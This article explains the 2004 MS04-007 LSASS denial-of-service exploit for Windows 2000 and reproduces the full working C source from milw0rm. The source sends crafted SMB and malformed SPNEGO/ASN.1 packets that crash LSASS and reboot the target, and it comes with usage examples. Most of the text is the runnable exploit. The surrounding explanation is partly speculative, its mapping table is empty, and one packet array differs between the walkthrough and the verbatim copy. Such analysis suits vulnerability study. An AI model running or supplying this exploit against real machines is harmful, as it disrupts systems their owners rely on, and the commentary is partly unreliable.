Understanding the MS04-007 LSASS Denial-of-Service Exploit

Understanding the MS04-007 LSASS Denial-of-Service Exploit
What this paper is
This paper details a Denial-of-Service (DoS) exploit targeting Microsoft Windows. Specifically, it targets a vulnerability in the Local Security Authority Subsystem Service (LSASS.exe) that can be triggered by sending a malformed ASN.1 encoded security blob over the Server Message Block (SMB) protocol. Successful exploitation causes LSASS.exe to crash, leading to a system reboot after approximately one minute. This exploit was published by Christophe Devine in February 2004.
Simple technical breakdown
The exploit works by sending a specially crafted sequence of network packets to a vulnerable Windows machine. These packets simulate a legitimate network connection attempt using the SMB protocol, which is commonly used for file and printer sharing.
The core of the exploit lies in the "Session Setup AndX Request" packet. This packet contains a "security blob" which is supposed to contain information for authenticating the user. However, the exploit crafts this blob with incorrect lengths and malformed ASN.1 structures.
When the vulnerable LSASS.exe process on the target machine tries to parse this malformed security blob, it encounters an error due to the incorrect length information. This error leads to a buffer overflow or a similar memory corruption issue within LSASS.exe, causing it to crash. Since LSASS is a critical system process, its termination triggers a system halt and subsequent reboot.
Complete code and payload walkthrough
The provided C code implements the exploit by constructing and sending specific network packets. Let's break down the key components:
1. Header and Includes
/*
* MS04-007 Exploit LSASS.EXE Win2k Pro Remote Denial-of-Service
*
* Copyright (C) 2004 Christophe Devine
* ... (GNU General Public License text) ...
*/
//#define WIN32
#ifdef WIN32
#include <winsock2.h>
#include <windows.h>
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#include <stdio.h>- Purpose: This section includes copyright information, license details, and conditional includes for Windows (
winsock2.h,windows.h) and POSIX-like systems (sys/socket.h, etc.). The#ifdef WIN32directive allows the code to be compiled on both platforms, though the primary target is Windows.stdio.his for standard input/output functions likeprintfandfprintf.
2. Network Packet Definitions
unsigned char netbios_sess_req[] =
/* NetBIOS Session Request */
"\x81\x00\x00\x44"
"\x20\x45\x45\x45\x46\x45\x47\x45\x42\x46\x46\x45\x4D\x46\x45\x43"
"\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43"
"\x41\x00";
unsigned char negotiate_req[] =
/* NetBIOS Message Type + Length & SMB Header */
"\x00\x00\x00\xB3"
"\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x08\x01\xC8\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\x03\x00\x00\x02\x00"
/* Negotiate Protocol Request, actually sniffed from smbclient */
"\x00\x90\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F\x52\x4B\x20\x50"
"\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02\x4D\x49\x43\x52"
"\x4F\x53\x4F\x46\x54\x20\x4E\x45\x54\x57\x4F\x52\x4B\x53\x20\x31"
"\x2E\x30\x33\x00\x02\x4D\x49\x43\x52\x4F\x53\x4F\x46\x54\x20\x4E"
"\x45\x54\x57\x4F\x52\x4B\x53\x20\x33\x2E\x30\x00\x02\x4C\x41\x4E"
"\x4D\x41\x4E\x31\x2E\x30\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
"\x32\x00\x02\x44\x4F\x53\x20\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31"
"\x00\x02\x53\x61\x6D\x62\x61\x00\x02\x4E\x54\x20\x4C\x41\x4E\x4D"
"\x41\x4E\x20\x31\x2E\x30\x00\x02\x4E\x54\x20\x4C\x4D\x20\x30\x2E"
"\x31\x32\x00";
unsigned char setup_request[] =
/* NetBIOS Message Type + Length & SMB Header */
"\x00\x00\xCC\xCC"
"\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x08\x01\xC8\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\x03\x00\x00\x03\x00"
/* Session Setup AndX Request */
"\x0C\xFF\x00\x00\x00\xFF\xFF\x02\x00\x01\x00\x00\x00\x00\x00\xCC"
"\xCC\x00\x00\x00\x00\x5C\x00\x00\x80\xCC\xCC";
/* Security Blob: SPNEGO OID + ASN.1 stuff */
unsigned char security_blob[] =
/* Application Constructed Object + SPNEGO OID */
"\x60\x82\xCC\xCC\x06\x06\x2B\x06\x01\x05\x05\x02"
/* negTokenInit + Constructed Sequence */
"\xA0\x82\xCC\xCC\x30\x82\xCC\xCC"
/* mechType: NTLMSSP OID */
"\xA0\x0E\x30\x0C\x06\x0A\x2B\x06\x01\x04\x01\x82\x37\x02\x02\x0A"
/* reqFlags that should trigger the overflow */
"\xA1\x05\x23\x03\x03\x01\x07"
/* mechToken: NTLMSSP (room for shellcode here) */
"\xA2\x82\xCC\xCC\x04\x82\xCC\xCC"
"\x4E\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x15\x02\x08\x60"
"\x09\x00\x09\x00\x20\x00\x00\x00\x07\x00\x07\x00\x29\x00\x00\x00"
"\x57\x4F\x52\x4B\x47\x52\x4F\x55\x50\x44\x45\x46\x41\x55\x4C\x54";
/* Native OS & LAN Manager */
unsigned char other_stuff[] =
"\x00\x55\x00\x6E\x00\x69\x00\x78\x00\x00\x00\x53\x00\x61\x00\x6D"
"\x00\x62\x00\x61\x00\x00\x00";netbios_sess_req: This is a NetBIOS Session Request packet. It's used to establish a NetBIOS session over TCP. The initial bytes\x81\x00\x00\x44indicate a NetBIOS session message of length 68 bytes. The subsequent bytes are part of the NetBIOS header and a placeholder for the NetBIOS name.negotiate_req: This is a Negotiate Protocol Request packet for SMB.\x00\x00\x00\xB3: NetBIOS message type (0x00 for data) and length (0xB3 = 179 bytes).\xFF\x53\x4D\x42: SMB header preamble.\xFFis the protocol ID,SMBis the signature.72\x00\x00\x00\x00\x08\x01\xC8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\x03\x00\x00\x02\x00: This is the SMB header, including command (0x72 for Negotiate Protocol), flags, and other parameters.- The rest of the bytes are the actual "Negotiate Protocol Request" payload, listing various supported protocols like PC Network Program 1.0, Microsoft Windows Network, etc. This is a standard request to establish an SMB session.
setup_request: This is a Session Setup AndX Request packet for SMB.\x00\x00\xCC\xCC: NetBIOS message type and length. The\xCC\xCCare placeholders that will be overwritten by themainfunction to set the correct length.\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x08\x01\xC8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\x03\x00\x00\x03\x00: SMB header, with command0x73for Session Setup AndX.\x0C\xFF\x00\x00\x00\xFF\xFF\x02\x00\x01\x00\x00\x00\x00\x00\xCC\xCC\x00\x00\x00\x00\x5C\x00\x00\x80\xCC\xCC: This is the Session Setup AndX request payload. It includes parameters likePasswordLength(0xFF),MaxBuffer(0x0200),MaxMpxCount(0x01),SessionKey(0x00),SecurityBlobLength(0xCC), andFlags(0x80). The\xCC\xCCare placeholders for lengths.
security_blob: This is the core of the exploit. It's an ASN.1 encoded structure designed to represent a SPNEGO (Simple and Protected GSSAPI Negotiation Mechanism) token, which is used in authentication protocols like Kerberos and NTLM.\x60\x82\xCC\xCC: ASN.1 Tag for "Application Constructed Object" (0x60) with a long form length (indicated by\x82). The\xCC\xCCare placeholders for the actual length of the following data.\x06\x06\x2B\x06\x01\x05\x05\x02: This is the OID (Object Identifier) for SPNEGO.\xA0\x82\xCC\xCC\x30\x82\xCC\xCC: ASN.1 Tag for "Context Specific Constructed" (0xA0) followed by a sequence (\x30) with long form lengths. These represent thenegTokenInitstructure.\xA0\x0E\x30\x0C\x06\x0A\x2B\x06\x01\x04\x01\x82\x37\x02\x02\x0A: This section defines themechType, which is the OID for NTLMSSP (NT LAN Manager Security Support Provider).\xA1\x05\x23\x03\x03\x01\x07: This is a critical part. It's an ASN.1 structure containingreqFlags. The\x23\x03\x03\x01\x07is crafted to be malformed or trigger an unexpected parsing path in the target's ASN.1 decoder. The\x01\x07part is particularly suspicious and likely the trigger for the vulnerability.\xA2\x82\xCC\xCC\x04\x82\xCC\xCC: This is themechTokenfield, which is supposed to contain the actual NTLMSSP token. The\x04indicates an OCTET STRING. The\x82\xCC\xCCare placeholders for its length.\x4E\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x15\x02\x08\x60\x09\x00\x09\x00\x20\x00\x00\x00\x07\x00\x07\x00\x29\x00\x00\x00\x57\x4F\x52\x4B\x47\x52\x4F\x55\x50\x44\x45\x46\x41\x55\x4C\x54: This is the beginning of the NTLMSSP token. It includes the signature (NTLMSSP), message type, and other fields. The exploit doesn't seem to rely on the content of this NTLMSSP part for the DoS, but rather the incorrect lengths and structures surrounding it.
other_stuff: This appears to be padding or additional data, possibly related to the OS and LAN Manager strings.\x00\x55\x00\x6E\x00\x69\x00\x78\x00\x00\x00\x53\x00\x61\x00\x6D\x00\x62\x00\x61\x00\x00\x00looks like UTF-16 encoded strings for "Unix" and "Samba".
3. Main Function Logic
int main( int argc, char *argv[] )
{
unsigned char buf[4096]; // Buffer for constructing packets
struct hostent *server_host;
struct sockaddr_in server_addr;
int i, len, server_fd, n1, n2, n3;
#ifdef WIN32
WSADATA wsa;
// initialize windows sockets
if( WSAStartup( MAKEWORD(2,0), &wsa ) ) { /* ... error handling ... */ }
#endif
if( argc != 3 && argc != 4 ) { /* ... usage message ... */ }
// resolve the server hostname and connect
server_host = gethostbyname( argv[1] );
// ... error handling ...
memcpy( (void *) &server_addr.sin_addr, (void *) server_host->h_addr, server_host->h_length );
sscanf( argv[2], "%d", &i ); // Parse port
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons( (unsigned short) i );
server_fd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
// ... error handling ...
len = sizeof( server_addr );
if( connect( server_fd, (struct sockaddr *) &server_addr, len ) < 0 ) { /* ... error handling ... */ }
if( argc == 4 ) // If NetBIOS name is provided
{
// encode the Called NetBIOS Name
len = sizeof( netbios_sess_req ) - 1;
memcpy( buf, netbios_sess_req, len );
memset( buf + 5, 'A', 32 ); // Initialize name part with 'A's
// Custom encoding for NetBIOS name
for( i = 0; i < (int) strlen( argv[3] ); i++ )
{
buf[5 + i * 2] += argv[3][i] >> 4;
buf[6 + i * 2] += argv[3][i] & 15;
}
// Pad with 0x20 (space) if name is shorter than 16 chars
for( ; i < 16; i++ )
{
buf[5 + i * 2] += 0x20 >> 4;
buf[6 + i * 2] += 0x20 & 15;
}
// 1. NetBIOS Session Request
if( send( server_fd, buf, len, 0 ) != len ) { /* ... error handling ... */ }
if( recv( server_fd, buf, sizeof( buf ), 0 ) <= 0 ) { /* ... error handling ... */ }
if( buf[0] == 0x83 ) { /* ... NetBIOS Session rejected ... */ }
}
// 2. Negotiate Protocol Request
len = sizeof( negotiate_req ) - 1;
if( send( server_fd, negotiate_req, len, 0 ) != len ) { /* ... error handling ... */ }
if( recv( server_fd, buf, sizeof( buf ), 0 ) <= 0 ) { /* ... error handling ... */ }
// 3. Session Setup AndX Request
memset( buf, 'A', sizeof( buf ) ); // Initialize buffer
n1 = sizeof( setup_request ) - 1;
n2 = sizeof( security_blob ) - 1;
n3 = sizeof( other_stuff ) - 1;
memcpy( buf, setup_request, n1 ); // Copy setup_request
memcpy( buf + n1, security_blob, n2 ); // Append security_blob
n2 += 2000; /* heap padding for shellcode */ // This is crucial for the exploit logic
memcpy( buf + n1 + n2, other_stuff, n3 ); // Append other_stuff
len = n1 + n2 + n3; // Total length of the crafted packet
// Patching lengths and offsets in the packet
buf[ 2] = ( ( len - 4 ) >> 8 ) & 0xFF; /* NetBIOS msg length */
buf[ 3] = ( ( len - 4 ) ) & 0xFF;
buf[51] = ( n2 ) & 0xFF; /* Security Blob Length */ // This is the length of the security_blob *as perceived by SMB header*
buf[52] = ( n2 >> 8 ) & 0xFF;
buf[61] = ( ( n2 + n3 ) ) & 0xFF; /* Byte Count (BCC) */ // BCC for the Session Setup AndX request
buf[62] = ( ( n2 + n3 ) >> 8 ) & 0xFF;
buf[n1 + 2] = ( ( n2 - 4 ) >> 8 ) & 0xFF; /* ACO Length */ // Length of Application Constructed Object
buf[n1 + 3] = ( ( n2 - 4 ) ) & 0xFF;
buf[n1 + 14] = ( ( n2 - 16 ) >> 8 ) & 0xFF; /* negTokenInit Length */ // Length of negTokenInit
buf[n1 + 15] = ( ( n2 - 16 ) ) & 0xFF;
buf[n1 + 18] = ( ( n2 - 20 ) >> 8 ) & 0xFF; /* Constr. Seq. Length */ // Length of Constructed Sequence
buf[n1 + 19] = ( ( n2 - 20 ) ) & 0xFF;
buf[n1 + 45] = ( ( n2 - 47 ) >> 8 ) & 0xFF; /* mechToken Length */ // Length of mechToken
buf[n1 + 46] = ( ( n2 - 47 ) ) & 0xFF;
buf[n1 + 49] = ( ( n2 - 51 ) >> 8 ) & 0xFF; /* String Length */ // Length of the string within mechToken
buf[n1 + 50] = ( ( n2 - 51 ) ) & 0xFF;
if( send( server_fd, buf, len, 0 ) != len ) { /* ... error handling ... */ }
recv( server_fd, buf, sizeof( buf ), 0 ); // Receive any response (likely error or nothing)
shutdown( server_fd, 2 ); // Close the connection
return( 0 );
}- Initialization: Sets up socket libraries (Winsock on Windows).
- Argument Parsing: Expects target IP/hostname, port, and optionally a NetBIOS name.
- Socket Connection: Resolves the hostname, creates a TCP socket, and connects to the target port.
- NetBIOS Session (Optional): If a NetBIOS name is provided (
argc == 4), it constructs and sends a NetBIOS Session Request. Thenetbios_sess_reqis modified to include the provided NetBIOS name. This step is to ensure the NetBIOS session is established correctly before sending the SMB packets. Thebuf[5 + i * 2]andbuf[6 + i * 2]logic is a custom encoding of the input NetBIOS name. - Negotiate Protocol Request: Sends the
negotiate_reqpacket to initiate the SMB negotiation. It then waits for a response. - Session Setup AndX Request Construction: This is the critical part.
- A buffer
bufis initialized. setup_request,security_blob, andother_stuffare copied intobuf.n2 += 2000; /* heap padding for shellcode */: This is a key manipulation. Thesecurity_blobis effectively extended by 2000 bytes. This padding is not actual shellcode but rather data that is intended to be part of themechToken's length calculation.- Length Patching: The code then meticulously patches various length fields within the
buf. This is where the exploit lies. The lengths are set to values that do not accurately reflect the actual size of the data that follows them, particularly within the ASN.1 structure of thesecurity_blob.buf[51]andbuf[52]set theSecurity Blob Lengthin the SMB header. It's set ton2, which is the size ofsecurity_blobplus the 2000-byte padding.- Various offsets within the ASN.1 structure (e.g.,
buf[n1 + 45],buf[n1 + 46]) are also manipulated. These lengths are likely set to values that are smaller than the actual data they are supposed to describe, or they point to incorrect locations due to the padding. This mismatch in expected versus actual data size is what causes the vulnerable LSASS component to misbehave.
- A buffer
- Send Exploit Packet: The fully constructed and patched
bufis sent to the target. - Receive and Shutdown: The exploit waits for a response (which might be an error or nothing) and then closes the connection.
Code Fragment/Block -> Practical Purpose Mapping
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/*
* MS04-007 Exploit LSASS.EXE Win2k Pro Remote Denial-of-Service
*
* Copyright (C) 2004 Christophe Devine
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
/*
* > MS04-007-dos.exe 10.0.0.1 445
* connect failed
*
* > nbtstat -A 10.0.0.1
* [..]
* SERVER3 <20> UNIQUE Registered
* [..]
* > MS04-007-dos.exe 10.0.0.1 139 SERVER3
* > MS04-007-dos.exe 10.0.0.1 139 SERVER3
* >
*
* if the exploit works, LSASS gets killed,
* and after 1mn the server reboots.
*
*/
//#define WIN32
#ifdef WIN32
#include <winsock2.h>
#include <windows.h>
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#include <stdio.h>
/****************************************************************/
unsigned char netbios_sess_req[] =
/* NetBIOS Session Request */
"\x81\x00\x00\x44"
"\x20\x45\x45\x45\x46\x45\x47\x45\x42\x46\x46\x45\x4D\x46\x45\x43"
"\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43"
"\x41\x00"
"\x20\x45\x45\x45\x46\x45\x47\x45\x42\x46\x46\x45\x4D\x46\x45\x43"
"\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x41"
"\x41\x00";
/****************************************************************/
unsigned char negotiate_req[] =
/* NetBIOS Message Type + Length & SMB Header */
"\x00\x00\x00\xB3"
"\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x08\x01\xC8\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\x03\x00\x00\x02\x00"
/* Negotiate Protocol Request, actually sniffed from smbclient */
"\x00\x90\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F\x52\x4B\x20\x50"
"\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02\x4D\x49\x43\x52"
"\x4F\x53\x4F\x46\x54\x20\x4E\x45\x54\x57\x4F\x52\x4B\x53\x20\x31"
"\x2E\x30\x33\x00\x02\x4D\x49\x43\x52\x4F\x53\x4F\x46\x54\x20\x4E"
"\x45\x54\x57\x4F\x52\x4B\x53\x20\x33\x2E\x30\x00\x02\x4C\x41\x4E"
"\x4D\x41\x4E\x31\x2E\x30\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
"\x32\x00\x02\x44\x4F\x53\x20\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31"
"\x00\x02\x53\x61\x6D\x62\x61\x00\x02\x4E\x54\x20\x4C\x41\x4E\x4D"
"\x41\x4E\x20\x31\x2E\x30\x00\x02\x4E\x54\x20\x4C\x4D\x20\x30\x2E"
"\x31\x32\x00";
/****************************************************************/
unsigned char setup_request[] =
/* NetBIOS Message Type + Length & SMB Header */
"\x00\x00\xCC\xCC"
"\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x08\x01\xC8\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\x03\x00\x00\x03\x00"
/* Session Setup AndX Request */
"\x0C\xFF\x00\x00\x00\xFF\xFF\x02\x00\x01\x00\x00\x00\x00\x00\xCC"
"\xCC\x00\x00\x00\x00\x5C\x00\x00\x80\xCC\xCC";
/* Security Blob: SPNEGO OID + ASN.1 stuff */
unsigned char security_blob[] =
/* Application Constructed Object + SPNEGO OID */
"\x60\x82\xCC\xCC\x06\x06\x2B\x06\x01\x05\x05\x02"
/* negTokenInit + Constructed Sequence */
"\xA0\x82\xCC\xCC\x30\x82\xCC\xCC"
/* mechType: NTLMSSP OID */
"\xA0\x0E\x30\x0C\x06\x0A\x2B\x06\x01\x04\x01\x82\x37\x02\x02\x0A"
/* reqFlags that should trigger the overflow */
"\xA1\x05\x23\x03\x03\x01\x07"
/* mechToken: NTLMSSP (room for shellcode here) */
"\xA2\x82\xCC\xCC\x04\x82\xCC\xCC"
"\x4E\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x15\x02\x08\x60"
"\x09\x00\x09\x00\x20\x00\x00\x00\x07\x00\x07\x00\x29\x00\x00\x00"
"\x57\x4F\x52\x4B\x47\x52\x4F\x55\x50\x44\x45\x46\x41\x55\x4C\x54";
/* Native OS & LAN Manager */
unsigned char other_stuff[] =
"\x00\x55\x00\x6E\x00\x69\x00\x78\x00\x00\x00\x53\x00\x61\x00\x6D"
"\x00\x62\x00\x61\x00\x00\x00";
/****************************************************************/
int main( int argc, char *argv[] )
{
unsigned char buf[4096];
struct hostent *server_host;
struct sockaddr_in server_addr;
int i, len, server_fd, n1, n2, n3;
#ifdef WIN32
WSADATA wsa;
/* initialize windows sockets */
if( WSAStartup( MAKEWORD(2,0), &wsa ) )
{
fprintf( stderr, "WSAStartup failed\n" );
return( 1 );
}
#endif
if( argc != 3 && argc != 4 )
{
fprintf( stderr, "usage: %s <target hostname> "
"<port> [netbios name]\n",
argv[0] );
return( 1 );
}
/* resolve the server hostname and connect */
server_host = gethostbyname( argv[1] );
if( server_host == NULL )
{
fprintf( stderr, "gethostbyname(%s) failed\n", argv[1] );
return( 1 );
}
memcpy( (void *) &server_addr.sin_addr,
(void *) server_host->h_addr,
server_host->h_length );
sscanf( argv[2], "%d", &i );
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons( (unsigned short) i );
server_fd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
if( server_fd < 0 )
{
fprintf( stderr, "could not create socket\n" );
return( 1 );
}
len = sizeof( server_addr );
if( connect( server_fd, (struct sockaddr *)
&server_addr, len ) < 0 )
{
fprintf( stderr, "connect failed\n" );
return( 1 );
}
if( argc == 4 )
{
/* encode the Called NetBIOS Name */
len = sizeof( netbios_sess_req ) - 1;
memcpy( buf, netbios_sess_req, len );
memset( buf + 5, 'A', 32 );
for( i = 0; i < (int) strlen( argv[3] ); i++ )
{
buf[5 + i * 2] += argv[3][i] >> 4;
buf[6 + i * 2] += argv[3][i] & 15;
}
for( ; i < 16; i++ )
{
buf[5 + i * 2] += 0x20 >> 4;
buf[6 + i * 2] += 0x20 & 15;
}
/* 1. NetBIOS Session Request */
if( send( server_fd, buf, len, 0 ) != len )
{
fprintf( stderr, "send(NetBIOS Session Request) failed\n" );
return( 1 );
}
if( recv( server_fd, buf, sizeof( buf ), 0 ) <= 0 )
{
fprintf( stderr, "recv(NetBIOS Session Response) failed\n" );
return( 1 );
}
if( buf[0] == 0x83 )
{
fprintf( stderr, "NetBIOS Session rejected "
"(wrong NetBIOS name ?)\n" );
return( 1 );
}
}
/* 2. Negotiate Protocol Request */
len = sizeof( negotiate_req ) - 1;
if( send( server_fd, negotiate_req, len, 0 ) != len )
{
fprintf( stderr, "send(Negotiate Protocol Request) failed\n" );
return( 1 );
}
if( recv( server_fd, buf, sizeof( buf ), 0 ) <= 0 )
{
fprintf( stderr, "recv(Negotiate Protocol Response) failed\n" );
return( 1 );
}
/* 3. Session Setup AndX Request */
memset( buf, 'A', sizeof( buf ) );
n1 = sizeof( setup_request ) - 1;
n2 = sizeof( security_blob ) - 1;
n3 = sizeof( other_stuff ) - 1;
memcpy( buf, setup_request, n1 );
memcpy( buf + n1, security_blob, n2 );
n2 += 2000; /* heap padding for shellcode */
memcpy( buf + n1 + n2, other_stuff, n3 );
len = n1 + n2 + n3;
buf[ 2] = ( ( len - 4 ) >> 8 ) & 0xFF; /* NetBIOS msg length */
buf[ 3] = ( ( len - 4 ) ) & 0xFF;
buf[51] = ( n2 ) & 0xFF; /* Security Blob Length */
buf[52] = ( n2 >> 8 ) & 0xFF;
buf[61] = ( ( n2 + n3 ) ) & 0xFF; /* Byte Count (BCC) */
buf[62] = ( ( n2 + n3 ) >> 8 ) & 0xFF;
buf[n1 + 2] = ( ( n2 - 4 ) >> 8 ) & 0xFF; /* ACO Length */
buf[n1 + 3] = ( ( n2 - 4 ) ) & 0xFF;
buf[n1 + 14] = ( ( n2 - 16 ) >> 8 ) & 0xFF; /* negTokenInit Length */
buf[n1 + 15] = ( ( n2 - 16 ) ) & 0xFF;
buf[n1 + 18] = ( ( n2 - 20 ) >> 8 ) & 0xFF; /* Constr. Seq. Length */
buf[n1 + 19] = ( ( n2 - 20 ) ) & 0xFF;
buf[n1 + 45] = ( ( n2 - 47 ) >> 8 ) & 0xFF; /* mechToken Length */
buf[n1 + 46] = ( ( n2 - 47 ) ) & 0xFF;
buf[n1 + 49] = ( ( n2 - 51 ) >> 8 ) & 0xFF; /* String Length */
buf[n1 + 50] = ( ( n2 - 51 ) ) & 0xFF;
if( send( server_fd, buf, len, 0 ) != len )
{
fprintf( stderr, "send(Session Setup AndX Request) failed\n" );
return( 1 );
}
recv( server_fd, buf, sizeof( buf ), 0 );
shutdown( server_fd, 2 );
return( 0 );
}
// milw0rm.com [2004-02-14]